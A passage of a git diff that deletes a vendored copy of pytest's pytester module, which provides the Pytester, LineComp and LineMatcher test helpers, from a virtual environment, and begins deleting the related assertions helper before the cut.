-class SysModulesSnapshot: - def __init__(self, preserve: Callable[[str], bool] | None = None) -> None: - self.__preserve = preserve - self.__saved = dict(sys.modules) - - def restore(self) -> None: - if self.__preserve: - self.__saved.update( - (k, m) for k, m in sys.modules.items() if self.__preserve(k) - ) - sys.modules.clear() - sys.modules.update(self.__saved) - - -class SysPathsSnapshot: - def __init__(self) -> None: - self.__saved = list(sys.path), list(sys.meta_path) - - def restore(self) -> None: - sys.path[:], sys.meta_path[:] = self.__saved - - -_FileContent = tuple[str | bytes, ...] | list[str | bytes] | str | bytes - - -@final -class Pytester: - """ - Facilities to write tests/configuration files, execute pytest in isolation, and match - against expected output, perfect for black-box testing of pytest plugins. - - It attempts to isolate the test run from external factors as much as possible, modifying - the current working directory to :attr:`path` and environment variables during initialization. - """ - - __test__ = False - - CLOSE_STDIN: Final = NOTSET - - class TimeoutExpired(Exception): - pass - - def __init__( - self, - request: FixtureRequest, - tmp_path_factory: TempPathFactory, - monkeypatch: MonkeyPatch, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._request = request - self._mod_collections: WeakKeyDictionary[Collector, list[Item | Collector]] = ( - WeakKeyDictionary() - ) - if request.function: - name: str = request.function.__name__ - else: - name = request.node.name - self._name = name - self._path: Path = tmp_path_factory.mktemp(name, numbered=True) - #: A list of plugins to use with :py:meth:`parseconfig` and - #: :py:meth:`runpytest`. Initially this is an empty list but plugins can - #: be added to the list. - #: - #: When running in subprocess mode, specify plugins by name (str) - adding - #: plugin objects directly is not supported. - self.plugins: list[str | _PluggyPlugin] = [] - self._sys_path_snapshot = SysPathsSnapshot() - self._sys_modules_snapshot = self.__take_sys_modules_snapshot() - self._request.addfinalizer(self._finalize) - self._method = self._request.config.getoption("--runpytest") - self._test_tmproot = tmp_path_factory.mktemp(f"tmp-{name}", numbered=True) - - self._monkeypatch = mp = monkeypatch - self.chdir() - mp.setenv("PYTEST_DEBUG_TEMPROOT", str(self._test_tmproot)) - # Ensure no unexpected caching via tox. - mp.delenv("TOX_ENV_DIR", raising=False) - # Discard outer pytest options. - mp.delenv("PYTEST_ADDOPTS", raising=False) - # Ensure no user config is used. - tmphome = str(self.path) - mp.setenv("HOME", tmphome) - mp.setenv("USERPROFILE", tmphome) - # Do not use colors for inner runs by default. - mp.setenv("PY_COLORS", "0") - - @property - def path(self) -> Path: - """Temporary directory path used to create files/run tests from, etc.""" - return self._path - - def __repr__(self) -> str: - return f"" - - def _finalize(self) -> None: - """ - Clean up global state artifacts. - - Some methods modify the global interpreter state and this tries to - clean this up. It does not remove the temporary directory however so - it can be looked at after the test run has finished. - """ - self._sys_modules_snapshot.restore() - self._sys_path_snapshot.restore() - - def __take_sys_modules_snapshot(self) -> SysModulesSnapshot: - # Some zope modules used by twisted-related tests keep internal state - # and can't be deleted; we had some trouble in the past with - # `zope.interface` for example. - # - # Preserve readline due to https://bugs.python.org/issue41033. - # pexpect issues a SIGWINCH. - def preserve_module(name): - return name.startswith(("zope", "readline")) - - return SysModulesSnapshot(preserve=preserve_module) - - def make_hook_recorder(self, pluginmanager: PytestPluginManager) -> HookRecorder: - """Create a new :class:`HookRecorder` for a :class:`PytestPluginManager`.""" - pluginmanager.reprec = reprec = HookRecorder(pluginmanager, _ispytest=True) # type: ignore[attr-defined] - self._request.addfinalizer(reprec.finish_recording) - return reprec - - def chdir(self) -> None: - """Cd into the temporary directory. - - This is done automatically upon instantiation. - """ - self._monkeypatch.chdir(self.path) - - def _makefile( - self, - ext: str, - lines: Sequence[Any | bytes], - files: Mapping[str, _FileContent], - encoding: str = "utf-8", - ) -> Path: - items = list(files.items()) - - if ext is None: - raise TypeError("ext must not be None") - - if ext and not ext.startswith("."): - raise ValueError( - f"pytester.makefile expects a file extension, try .{ext} instead of {ext}" - ) - - def to_text(s: Any | bytes) -> str: - return s.decode(encoding) if isinstance(s, bytes) else str(s) - - if lines: - source = "\n".join(to_text(x) for x in lines) - basename = self._name - items.insert(0, (basename, source)) - - ret = None - for basename, value in items: - p = self.path.joinpath(basename).with_suffix(ext) - p.parent.mkdir(parents=True, exist_ok=True) - source_ = Source(value) - source = "\n".join(to_text(line) for line in source_.lines) - p.write_text(source.strip(), encoding=encoding) - if ret is None: - ret = p - assert ret is not None - return ret - - def makefile(self, ext: str, *args: str, **kwargs: str) -> Path: - r"""Create new text file(s) in the test directory. - - :param ext: - The extension the file(s) should use, including the dot, e.g. `.py`. - :param args: - All args are treated as strings and joined using newlines. - The result is written as contents to the file. The name of the - file is based on the test function requesting this fixture. - :param kwargs: - Each keyword is the name of a file, while the value of it will - be written as contents of the file. - :returns: - The first created file. - - Examples: - - .. code-block:: python - - pytester.makefile(".txt", "line1", "line2") - - pytester.makefile(".ini", pytest="[pytest]\naddopts=-rs\n") - - To create binary files, use :meth:`pathlib.Path.write_bytes` directly: - - .. code-block:: python - - filename = pytester.path.joinpath("foo.bin") - filename.write_bytes(b"...") - """ - return self._makefile(ext, args, kwargs) - - def makeconftest(self, source: str) -> Path: - """Write a conftest.py file. - - :param source: The contents. - :returns: The conftest.py file. - """ - return self.makepyfile(conftest=source) - - def makeini(self, source: str) -> Path: - """Write a tox.ini file. - - :param source: The contents. - :returns: The tox.ini file. - """ - return self.makefile(".ini", tox=source) - - def maketoml(self, source: str) -> Path: - """Write a pytest.toml file. - - :param source: The contents. - :returns: The pytest.toml file. - - .. versionadded:: 9.0 - """ - return self.makefile(".toml", pytest=source) - - def getinicfg(self, source: str) -> SectionWrapper: - """Return the pytest section from the tox.ini config file.""" - p = self.makeini(source) - return IniConfig(str(p))["pytest"] - - def makepyprojecttoml(self, source: str) -> Path: - """Write a pyproject.toml file. - - :param source: The contents. - :returns: The pyproject.ini file. - - .. versionadded:: 6.0 - """ - return self.makefile(".toml", pyproject=source) - - def makepyfile(self, *args: _FileContent, **kwargs: _FileContent) -> Path: - r"""Shortcut for .makefile() with a .py extension. - - Defaults to the test name with a '.py' extension, e.g test_foobar.py, overwriting - existing files. - - Examples: - - .. code-block:: python - - def test_something(pytester): - # Initial file is created test_something.py. - pytester.makepyfile("foobar") - # To create multiple files, pass kwargs accordingly. - pytester.makepyfile(custom="foobar") - # At this point, both 'test_something.py' & 'custom.py' exist in the test directory. - - """ - return self._makefile(".py", args, kwargs) - - def maketxtfile(self, *args: _FileContent, **kwargs: _FileContent) -> Path: - r"""Shortcut for .makefile() with a .txt extension. - - Defaults to the test name with a '.txt' extension, e.g test_foobar.txt, overwriting - existing files. - - Examples: - - .. code-block:: python - - def test_something(pytester): - # Initial file is created test_something.txt. - pytester.maketxtfile("foobar") - # To create multiple files, pass kwargs accordingly. - pytester.maketxtfile(custom="foobar") - # At this point, both 'test_something.txt' & 'custom.txt' exist in the test directory. - - """ - return self._makefile(".txt", args, kwargs) - - def syspathinsert(self, path: str | os.PathLike[str] | None = None) -> None: - """Prepend a directory to sys.path, defaults to :attr:`path`. - - This is undone automatically when this object dies at the end of each - test. - - :param path: - The path. - """ - if path is None: - path = self.path - - self._monkeypatch.syspath_prepend(str(path)) - - def mkdir(self, name: str | os.PathLike[str]) -> Path: - """Create a new (sub)directory. - - :param name: - The name of the directory, relative to the pytester path. - :returns: - The created directory. - :rtype: pathlib.Path - """ - p = self.path / name - p.mkdir() - return p - - def mkpydir(self, name: str | os.PathLike[str]) -> Path: - """Create a new python package. - - This creates a (sub)directory with an empty ``__init__.py`` file so it - gets recognised as a Python package. - """ - p = self.path / name - p.mkdir() - p.joinpath("__init__.py").touch() - return p - - def copy_example(self, name: str | None = None) -> Path: - """Copy file from project's directory into the testdir. - - :param name: - The name of the file to copy. - :return: - Path to the copied directory (inside ``self.path``). - :rtype: pathlib.Path - """ - example_dir_ = self._request.config.getini("pytester_example_dir") - if example_dir_ is None: - raise ValueError("pytester_example_dir is unset, can't copy examples") - example_dir: Path = self._request.config.rootpath / example_dir_ - - for extra_element in self._request.node.iter_markers("pytester_example_path"): - assert extra_element.args - example_dir = example_dir.joinpath(*extra_element.args) - - if name is None: - func_name = self._name - maybe_dir = example_dir / func_name - maybe_file = example_dir / (func_name + ".py") - - if maybe_dir.is_dir(): - example_path = maybe_dir - elif maybe_file.is_file(): - example_path = maybe_file - else: - raise LookupError( - f"{func_name} can't be found as module or package in {example_dir}" - ) - else: - example_path = example_dir.joinpath(name) - - if example_path.is_dir() and not example_path.joinpath("__init__.py").is_file(): - shutil.copytree(example_path, self.path, symlinks=True, dirs_exist_ok=True) - return self.path - elif example_path.is_file(): - result = self.path.joinpath(example_path.name) - shutil.copy(example_path, result) - return result - else: - raise LookupError( - f'example "{example_path}" is not found as a file or directory' - ) - - def getnode(self, config: Config, arg: str | os.PathLike[str]) -> Collector | Item: - """Get the collection node of a file. - - :param config: - A pytest config. - See :py:meth:`parseconfig` and :py:meth:`parseconfigure` for creating it. - :param arg: - Path to the file. - :returns: - The node. - """ - session = Session.from_config(config) - assert "::" not in str(arg) - p = Path(os.path.abspath(arg)) - config.hook.pytest_sessionstart(session=session) - res = session.perform_collect([str(p)], genitems=False)[0] - config.hook.pytest_sessionfinish(session=session, exitstatus=ExitCode.OK) - return res - - def getpathnode(self, path: str | os.PathLike[str]) -> Collector | Item: - """Return the collection node of a file. - - This is like :py:meth:`getnode` but uses :py:meth:`parseconfigure` to - create the (configured) pytest Config instance. - - :param path: - Path to the file. - :returns: - The node. - """ - path = Path(path) - config = self.parseconfigure(path) - session = Session.from_config(config) - x = bestrelpath(session.path, path) - config.hook.pytest_sessionstart(session=session) - res = session.perform_collect([x], genitems=False)[0] - config.hook.pytest_sessionfinish(session=session, exitstatus=ExitCode.OK) - return res - - def genitems(self, colitems: Sequence[Item | Collector]) -> list[Item]: - """Generate all test items from a collection node. - - This recurses into the collection node and returns a list of all the - test items contained within. - - :param colitems: - The collection nodes. - :returns: - The collected items. - """ - session = colitems[0].session - result: list[Item] = [] - for colitem in colitems: - result.extend(session.genitems(colitem)) - return result - - def runitem(self, source: str) -> Any: - """Run the "test_func" Item. - - The calling test instance (class containing the test method) must - provide a ``.getrunner()`` method which should return a runner which - can run the test protocol for a single item, e.g. - ``_pytest.runner.runtestprotocol``. - """ - # used from runner functional tests - item = self.getitem(source) - # the test class where we are called from wants to provide the runner - testclassinstance = self._request.instance - runner = testclassinstance.getrunner() - return runner(item) - - def inline_runsource(self, source: str, *cmdlineargs) -> HookRecorder: - """Run a test module in process using ``pytest.main()``. - - This run writes "source" into a temporary file and runs - ``pytest.main()`` on it, returning a :py:class:`HookRecorder` instance - for the result. - - :param source: The source code of the test module. - :param cmdlineargs: Any extra command line arguments to use. - """ - p = self.makepyfile(source) - values = [*list(cmdlineargs), p] - return self.inline_run(*values) - - def inline_genitems(self, *args) -> tuple[list[Item], HookRecorder]: - """Run ``pytest.main(['--collect-only'])`` in-process. - - Runs the :py:func:`pytest.main` function to run all of pytest inside - the test process itself like :py:meth:`inline_run`, but returns a - tuple of the collected items and a :py:class:`HookRecorder` instance. - """ - rec = self.inline_run("--collect-only", *args) - items = [x.item for x in rec.getcalls("pytest_itemcollected")] - return items, rec - - def inline_run( - self, - *args: str | os.PathLike[str], - plugins=(), - no_reraise_ctrlc: bool = False, - ) -> HookRecorder: - """Run ``pytest.main()`` in-process, returning a HookRecorder. - - Runs the :py:func:`pytest.main` function to run all of pytest inside - the test process itself. This means it can return a - :py:class:`HookRecorder` instance which gives more detailed results - from that run than can be done by matching stdout/stderr from - :py:meth:`runpytest`. - - :param args: - Command line arguments to pass to :py:func:`pytest.main`. - :param plugins: - Extra plugin instances the ``pytest.main()`` instance should use. - :param no_reraise_ctrlc: - Typically we reraise keyboard interrupts from the child run. If - True, the KeyboardInterrupt exception is captured. - """ - from _pytest.unraisableexception import gc_collect_iterations_key - - # (maybe a cpython bug?) the importlib cache sometimes isn't updated - # properly between file creation and inline_run (especially if imports - # are interspersed with file creation) - importlib.invalidate_caches() - - plugins = list(plugins) - finalizers = [] - try: - # Any sys.module or sys.path changes done while running pytest - # inline should be reverted after the test run completes to avoid - # clashing with later inline tests run within the same pytest test, - # e.g. just because they use matching test module names. - finalizers.append(self.__take_sys_modules_snapshot().restore) - finalizers.append(SysPathsSnapshot().restore) - - # Important note: - # - our tests should not leave any other references/registrations - # laying around other than possibly loaded test modules - # referenced from sys.modules, as nothing will clean those up - # automatically - - rec = [] - - class PytesterHelperPlugin: - @staticmethod - def pytest_configure(config: Config) -> None: - rec.append(self.make_hook_recorder(config.pluginmanager)) - - # The unraisable plugin GC collect slows down inline - # pytester runs too much. - config.stash[gc_collect_iterations_key] = 0 - - plugins.append(PytesterHelperPlugin()) - ret = main([str(x) for x in args], plugins=plugins) - if len(rec) == 1: - reprec = rec.pop() - else: - - class reprec: # type: ignore - pass - - reprec.ret = ret - - # Typically we reraise keyboard interrupts from the child run - # because it's our user requesting interruption of the testing. - if ret == ExitCode.INTERRUPTED and not no_reraise_ctrlc: - calls = reprec.getcalls("pytest_keyboard_interrupt") - if calls and calls[-1].excinfo.type == KeyboardInterrupt: - raise KeyboardInterrupt() - return reprec - finally: - for finalizer in finalizers: - finalizer() - - def runpytest_inprocess( - self, *args: str | os.PathLike[str], **kwargs: Any - ) -> RunResult: - """Return result of running pytest in-process, providing a similar - interface to what self.runpytest() provides.""" - syspathinsert = kwargs.pop("syspathinsert", False) - - if syspathinsert: - self.syspathinsert() - instant = timing.Instant() - capture = _get_multicapture("sys") - capture.start_capturing() - try: - try: - reprec = self.inline_run(*args, **kwargs) - except SystemExit as e: - ret = e.args[0] - try: - ret = ExitCode(e.args[0]) - except ValueError: - pass - - class reprec: # type: ignore - ret = ret - - except Exception: - traceback.print_exc() - - class reprec: # type: ignore - ret = ExitCode(3) - - finally: - out, err = capture.readouterr() - capture.stop_capturing() - sys.stdout.write(out) - sys.stderr.write(err) - - assert reprec.ret is not None - res = RunResult( - reprec.ret, out.splitlines(), err.splitlines(), instant.elapsed().seconds - ) - res.reprec = reprec # type: ignore - return res - - def runpytest(self, *args: str | os.PathLike[str], **kwargs: Any) -> RunResult: - """Run pytest inline or in a subprocess, depending on the command line - option "--runpytest" and return a :py:class:`~pytest.RunResult`.""" - new_args = self._ensure_basetemp(args) - if self._method == "inprocess": - return self.runpytest_inprocess(*new_args, **kwargs) - elif self._method == "subprocess": - return self.runpytest_subprocess(*new_args, **kwargs) - raise RuntimeError(f"Unrecognized runpytest option: {self._method}") - - def _ensure_basetemp( - self, args: Sequence[str | os.PathLike[str]] - ) -> list[str | os.PathLike[str]]: - new_args = list(args) - for x in new_args: - if str(x).startswith("--basetemp"): - break - else: - new_args.append( - "--basetemp={}".format(self.path.parent.joinpath("basetemp")) - ) - return new_args - - def parseconfig(self, *args: str | os.PathLike[str]) -> Config: - """Return a new pytest :class:`pytest.Config` instance from given - commandline args. - - This invokes the pytest bootstrapping code in _pytest.config to create a - new :py:class:`pytest.PytestPluginManager` and call the - :hook:`pytest_cmdline_parse` hook to create a new :class:`pytest.Config` - instance. - - If :attr:`plugins` has been populated they should be plugin modules - to be registered with the plugin manager. - """ - import _pytest.config - - new_args = [str(x) for x in self._ensure_basetemp(args)] - - config = _pytest.config._prepareconfig(new_args, self.plugins) - # we don't know what the test will do with this half-setup config - # object and thus we make sure it gets unconfigured properly in any - # case (otherwise capturing could still be active, for example) - self._request.addfinalizer(config._ensure_unconfigure) - return config - - def parseconfigure(self, *args: str | os.PathLike[str]) -> Config: - """Return a new pytest configured Config instance. - - Returns a new :py:class:`pytest.Config` instance like - :py:meth:`parseconfig`, but also calls the :hook:`pytest_configure` - hook. - """ - config = self.parseconfig(*args) - config._do_configure() - return config - - def getitem( - self, source: str | os.PathLike[str], funcname: str = "test_func" - ) -> Item: - """Return the test item for a test function. - - Writes the source to a python file and runs pytest's collection on - the resulting module, returning the test item for the requested - function name. - - :param source: - The module source. - :param funcname: - The name of the test function for which to return a test item. - :returns: - The test item. - """ - items = self.getitems(source) - for item in items: - if item.name == funcname: - return item - assert 0, f"{funcname!r} item not found in module:\n{source}\nitems: {items}" - - def getitems(self, source: str | os.PathLike[str]) -> list[Item]: - """Return all test items collected from the module. - - Writes the source to a Python file and runs pytest's collection on - the resulting module, returning all test items contained within. - """ - modcol = self.getmodulecol(source) - return self.genitems([modcol]) - - def getmodulecol( - self, - source: str | os.PathLike[str], - configargs=(), - *, - withinit: bool = False, - ): - """Return the module collection node for ``source``. - - Writes ``source`` to a file using :py:meth:`makepyfile` and then - runs the pytest collection on it, returning the collection node for the - test module. - - :param source: - The source code of the module to collect. - - :param configargs: - Any extra arguments to pass to :py:meth:`parseconfigure`. - - :param withinit: - Whether to also write an ``__init__.py`` file to the same - directory to ensure it is a package. - """ - if isinstance(source, os.PathLike): - path = self.path.joinpath(source) - assert not withinit, "not supported for paths" - else: - kw = {self._name: str(source)} - path = self.makepyfile(**kw) - if withinit: - self.makepyfile(__init__="#") - self.config = config = self.parseconfigure(path, *configargs) - return self.getnode(config, path) - - def collect_by_name(self, modcol: Collector, name: str) -> Item | Collector | None: - """Return the collection node for name from the module collection. - - Searches a module collection node for a collection node matching the - given name. - - :param modcol: A module collection node; see :py:meth:`getmodulecol`. - :param name: The name of the node to return. - """ - if modcol not in self._mod_collections: - self._mod_collections[modcol] = list(modcol.collect()) - for colitem in self._mod_collections[modcol]: - if colitem.name == name: - return colitem - return None - - def popen( - self, - cmdargs: Sequence[str | os.PathLike[str]], - stdout: int | TextIO = subprocess.PIPE, - stderr: int | TextIO = subprocess.PIPE, - stdin: NotSetType | bytes | IO[Any] | int = CLOSE_STDIN, - **kw, - ): - """Invoke :py:class:`subprocess.Popen`. - - Calls :py:class:`subprocess.Popen` making sure the current working - directory is in ``PYTHONPATH``. - - You probably want to use :py:meth:`run` instead. - """ - env = os.environ.copy() - env["PYTHONPATH"] = os.pathsep.join( - filter(None, [os.getcwd(), env.get("PYTHONPATH", "")]) - ) - kw["env"] = env - - if stdin is self.CLOSE_STDIN: - kw["stdin"] = subprocess.PIPE - elif isinstance(stdin, bytes): - kw["stdin"] = subprocess.PIPE - else: - kw["stdin"] = stdin - - popen = subprocess.Popen(cmdargs, stdout=stdout, stderr=stderr, **kw) - if stdin is self.CLOSE_STDIN: - assert popen.stdin is not None - popen.stdin.close() - elif isinstance(stdin, bytes): - assert popen.stdin is not None - popen.stdin.write(stdin) - - return popen - - def run( - self, - *cmdargs: str | os.PathLike[str], - timeout: float | None = None, - stdin: NotSetType | bytes | IO[Any] | int = CLOSE_STDIN, - ) -> RunResult: - """Run a command with arguments. - - Run a process using :py:class:`subprocess.Popen` saving the stdout and - stderr. - - :param cmdargs: - The sequence of arguments to pass to :py:class:`subprocess.Popen`, - with path-like objects being converted to :py:class:`str` - automatically. - :param timeout: - The period in seconds after which to timeout and raise - :py:class:`Pytester.TimeoutExpired`. - :param stdin: - Optional standard input. - - - If it is ``CLOSE_STDIN`` (Default), then this method calls - :py:class:`subprocess.Popen` with ``stdin=subprocess.PIPE``, and - the standard input is closed immediately after the new command is - started. - - - If it is of type :py:class:`bytes`, these bytes are sent to the - standard input of the command. - - - Otherwise, it is passed through to :py:class:`subprocess.Popen`. - For further information in this case, consult the document of the - ``stdin`` parameter in :py:class:`subprocess.Popen`. - :type stdin: _pytest.compat.NotSetType | bytes | IO[Any] | int - :returns: - The result. - - """ - __tracebackhide__ = True - - cmdargs = tuple(os.fspath(arg) for arg in cmdargs) - p1 = self.path.joinpath("stdout") - p2 = self.path.joinpath("stderr") - print("running:", *cmdargs) - print(" in:", Path.cwd()) - - with p1.open("w", encoding="utf8") as f1, p2.open("w", encoding="utf8") as f2: - instant = timing.Instant() - popen = self.popen( - cmdargs, - stdin=stdin, - stdout=f1, - stderr=f2, - ) - if popen.stdin is not None: - popen.stdin.close() - - def handle_timeout() -> None: - __tracebackhide__ = True - - timeout_message = f"{timeout} second timeout expired running: {cmdargs}" - - popen.kill() - popen.wait() - raise self.TimeoutExpired(timeout_message) - - if timeout is None: - ret = popen.wait() - else: - try: - ret = popen.wait(timeout) - except subprocess.TimeoutExpired: - handle_timeout() - f1.flush() - f2.flush() - - with p1.open(encoding="utf8") as f1, p2.open(encoding="utf8") as f2: - out = f1.read().splitlines() - err = f2.read().splitlines() - - self._dump_lines(out, sys.stdout) - self._dump_lines(err, sys.stderr) - - with contextlib.suppress(ValueError): - ret = ExitCode(ret) - return RunResult(ret, out, err, instant.elapsed().seconds) - - def _dump_lines(self, lines, fp): - try: - for line in lines: - print(line, file=fp) - except UnicodeEncodeError: - print(f"couldn't print to {fp} because of encoding") - - def _getpytestargs(self) -> tuple[str, ...]: - return sys.executable, "-mpytest" - - def runpython(self, script: os.PathLike[str]) -> RunResult: - """Run a python script using sys.executable as interpreter.""" - return self.run(sys.executable, script) - - def runpython_c(self, command: str) -> RunResult: - """Run ``python -c "command"``.""" - return self.run(sys.executable, "-c", command) - - def runpytest_subprocess( - self, *args: str | os.PathLike[str], timeout: float | None = None - ) -> RunResult: - """Run pytest as a subprocess with given arguments. - - Any plugins added to the :py:attr:`plugins` list will be added using the - ``-p`` command line option. Additionally ``--basetemp`` is used to put - any temporary files and directories in a numbered directory prefixed - with "runpytest-" to not conflict with the normal numbered pytest - location for temporary files and directories. - - :param args: - The sequence of arguments to pass to the pytest subprocess. - :param timeout: - The period in seconds after which to timeout and raise - :py:class:`Pytester.TimeoutExpired`. - :returns: - The result. - """ - __tracebackhide__ = True - p = make_numbered_dir(root=self.path, prefix="runpytest-", mode=0o700) - args = (f"--basetemp={p}", *args) - for plugin in self.plugins: - if not isinstance(plugin, str): - raise ValueError( - f"Specifying plugins as objects is not supported in pytester subprocess mode; " - f"specify by name instead: {plugin}" - ) - args = ("-p", plugin, *args) - args = self._getpytestargs() + args - return self.run(*args, timeout=timeout) - - def spawn_pytest(self, string: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """Run pytest using pexpect. - - This makes sure to use the right pytest and sets up the temporary - directory locations. - - The pexpect child is returned. - """ - basetemp = self.path / "temp-pexpect" - basetemp.mkdir(mode=0o700) - invoke = " ".join(map(str, self._getpytestargs())) - cmd = f"{invoke} --basetemp={basetemp} {string}" - return self.spawn(cmd, expect_timeout=expect_timeout) - - def spawn(self, cmd: str, expect_timeout: float = 10.0) -> pexpect.spawn: - """Run a command using pexpect. - - The pexpect child is returned. - """ - pexpect = importorskip("pexpect", "3.0") - if hasattr(sys, "pypy_version_info") and "64" in platform.machine(): - skip("pypy-64 bit not supported") - if not hasattr(pexpect, "spawn"): - skip("pexpect.spawn not available") - logfile = self.path.joinpath("spawn.out").open("wb") - - child = pexpect.spawn(cmd, logfile=logfile, timeout=expect_timeout) - self._request.addfinalizer(logfile.close) - return child - - -class LineComp: - def __init__(self) -> None: - self.stringio = StringIO() - """:class:`python:io.StringIO()` instance used for input.""" - - def assert_contains_lines(self, lines2: Sequence[str]) -> None: - """Assert that ``lines2`` are contained (linearly) in :attr:`stringio`'s value. - - Lines are matched using :func:`LineMatcher.fnmatch_lines `. - """ - __tracebackhide__ = True - val = self.stringio.getvalue() - self.stringio.truncate(0) - self.stringio.seek(0) - lines1 = val.split("\n") - LineMatcher(lines1).fnmatch_lines(lines2) - - -class LineMatcher: - """Flexible matching of text. - - This is a convenience class to test large texts like the output of - commands. - - The constructor takes a list of lines without their trailing newlines, i.e. - ``text.splitlines()``. - """ - - def __init__(self, lines: list[str]) -> None: - self.lines = lines - self._log_output: list[str] = [] - - def __str__(self) -> str: - """Return the entire original text. - - .. versionadded:: 6.2 - You can use :meth:`str` in older versions. - """ - return "\n".join(self.lines) - - def _getlines(self, lines2: str | Sequence[str] | Source) -> Sequence[str]: - if isinstance(lines2, str): - lines2 = Source(lines2) - if isinstance(lines2, Source): - lines2 = lines2.strip().lines - return lines2 - - def fnmatch_lines_random(self, lines2: Sequence[str]) -> None: - """Check lines exist in the output in any order (using :func:`python:fnmatch.fnmatch`).""" - __tracebackhide__ = True - self._match_lines_random(lines2, fnmatch) - - def re_match_lines_random(self, lines2: Sequence[str]) -> None: - """Check lines exist in the output in any order (using :func:`python:re.match`).""" - __tracebackhide__ = True - self._match_lines_random(lines2, lambda name, pat: bool(re.match(pat, name))) - - def _match_lines_random( - self, lines2: Sequence[str], match_func: Callable[[str, str], bool] - ) -> None: - __tracebackhide__ = True - lines2 = self._getlines(lines2) - for line in lines2: - for x in self.lines: - if line == x or match_func(x, line): - self._log("matched: ", repr(line)) - break - else: - msg = f"line {line!r} not found in output" - self._log(msg) - self._fail(msg) - - def get_lines_after(self, fnline: str) -> Sequence[str]: - """Return all lines following the given line in the text. - - The given line can contain glob wildcards. - """ - for i, line in enumerate(self.lines): - if fnline == line or fnmatch(line, fnline): - return self.lines[i + 1 :] - raise ValueError(f"line {fnline!r} not found in output") - - def _log(self, *args) -> None: - self._log_output.append(" ".join(str(x) for x in args)) - - @property - def _log_text(self) -> str: - return "\n".join(self._log_output) - - def fnmatch_lines( - self, lines2: Sequence[str], *, consecutive: bool = False - ) -> None: - """Check lines exist in the output (using :func:`python:fnmatch.fnmatch`). - - The argument is a list of lines which have to match and can use glob - wildcards. If they do not match a pytest.fail() is called. The - matches and non-matches are also shown as part of the error message. - - :param lines2: String patterns to match. - :param consecutive: Match lines consecutively? - """ - __tracebackhide__ = True - self._match_lines(lines2, fnmatch, "fnmatch", consecutive=consecutive) - - def re_match_lines( - self, lines2: Sequence[str], *, consecutive: bool = False - ) -> None: - """Check lines exist in the output (using :func:`python:re.match`). - - The argument is a list of lines which have to match using ``re.match``. - If they do not match a pytest.fail() is called. - - The matches and non-matches are also shown as part of the error message. - - :param lines2: string patterns to match. - :param consecutive: match lines consecutively? - """ - __tracebackhide__ = True - self._match_lines( - lines2, - lambda name, pat: bool(re.match(pat, name)), - "re.match", - consecutive=consecutive, - ) - - def _match_lines( - self, - lines2: Sequence[str], - match_func: Callable[[str, str], bool], - match_nickname: str, - *, - consecutive: bool = False, - ) -> None: - """Underlying implementation of ``fnmatch_lines`` and ``re_match_lines``. - - :param Sequence[str] lines2: - List of string patterns to match. The actual format depends on - ``match_func``. - :param match_func: - A callable ``match_func(line, pattern)`` where line is the - captured line from stdout/stderr and pattern is the matching - pattern. - :param str match_nickname: - The nickname for the match function that will be logged to stdout - when a match occurs. - :param consecutive: - Match lines consecutively? - """ - if not isinstance(lines2, collections.abc.Sequence): - raise TypeError(f"invalid type for lines2: {type(lines2).__name__}") - lines2 = self._getlines(lines2) - lines1 = self.lines[:] - extralines = [] - __tracebackhide__ = True - wnick = len(match_nickname) + 1 - started = False - for line in lines2: - nomatchprinted = False - while lines1: - nextline = lines1.pop(0) - if line == nextline: - self._log("exact match:", repr(line)) - started = True - break - elif match_func(nextline, line): - self._log(f"{match_nickname}:", repr(line)) - self._log( - "{:>{width}}".format("with:", width=wnick), repr(nextline) - ) - started = True - break - else: - if consecutive and started: - msg = f"no consecutive match: {line!r}" - self._log(msg) - self._log( - "{:>{width}}".format("with:", width=wnick), repr(nextline) - ) - self._fail(msg) - if not nomatchprinted: - self._log( - "{:>{width}}".format("nomatch:", width=wnick), repr(line) - ) - nomatchprinted = True - self._log("{:>{width}}".format("and:", width=wnick), repr(nextline)) - extralines.append(nextline) - else: - msg = f"remains unmatched: {line!r}" - self._log(msg) - self._fail(msg) - self._log_output = [] - - def no_fnmatch_line(self, pat: str) -> None: - """Ensure captured lines do not match the given pattern, using ``fnmatch.fnmatch``. - - :param str pat: The pattern to match lines. - """ - __tracebackhide__ = True - self._no_match_line(pat, fnmatch, "fnmatch") - - def no_re_match_line(self, pat: str) -> None: - """Ensure captured lines do not match the given pattern, using ``re.match``. - - :param str pat: The regular expression to match lines. - """ - __tracebackhide__ = True - self._no_match_line( - pat, lambda name, pat: bool(re.match(pat, name)), "re.match" - ) - - def _no_match_line( - self, pat: str, match_func: Callable[[str, str], bool], match_nickname: str - ) -> None: - """Underlying implementation of ``no_fnmatch_line`` and ``no_re_match_line``. - - :param str pat: - The pattern to match lines. - :param match_func: - A callable ``match_func(line, pattern)`` where line is the - captured line from stdout/stderr and pattern is the matching - pattern. - :param match_nickname: - The nickname for the match function that will be logged to stdout - when a match occurs. - """ - __tracebackhide__ = True - nomatch_printed = False - wnick = len(match_nickname) + 1 - for line in self.lines: - if match_func(line, pat): - msg = f"{match_nickname}: {pat!r}" - self._log(msg) - self._log("{:>{width}}".format("with:", width=wnick), repr(line)) - self._fail(msg) - else: - if not nomatch_printed: - self._log("{:>{width}}".format("nomatch:", width=wnick), repr(pat)) - nomatch_printed = True - self._log("{:>{width}}".format("and:", width=wnick), repr(line)) - self._log_output = [] - - def _fail(self, msg: str) -> None: - __tracebackhide__ = True - log_text = self._log_text - self._log_output = [] - fail(log_text) - - def str(self) -> str: - """Return the entire original text.""" - return str(self) diff --git a/venv/Lib/site-packages/_pytest/pytester_assertions.py b/venv/Lib/site-packages/_pytest/pytester_assertions.py deleted file mode 100644 index b8d8a195241e68ac93880ae53e052464b7cd4408..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/pytester_assertions.py +++ /dev/null @@ -1,74 +0,0 @@ -"""Helper plugin for pytester; should not be loaded on its own.""" - -# This plugin contains assertions used by pytester. pytester cannot -# contain them itself, since it is imported by the `pytest` module, -# hence cannot be subject to assertion rewriting, which requires a -# module to not be already imported. -from __future__ import annotations - -from collections.abc import Sequence - -from _pytest.reports import CollectReport -from _pytest.reports import TestReport - - -def assertoutcome( - outcomes: tuple[ - Sequence[TestReport], - Sequence[CollectReport | TestReport], - Sequence[CollectReport | TestReport], - ], - passed: int = 0, - skipped: int = 0, - failed: int = 0, -) -> None: - __tracebackhide__ = True - - realpassed, realskipped, realfailed = outcomes - obtained = { - "failed": len(realfailed), - "passed": len(realpassed), - "skipped": len(realskipped), - } - expected = {"failed": failed, "passed": 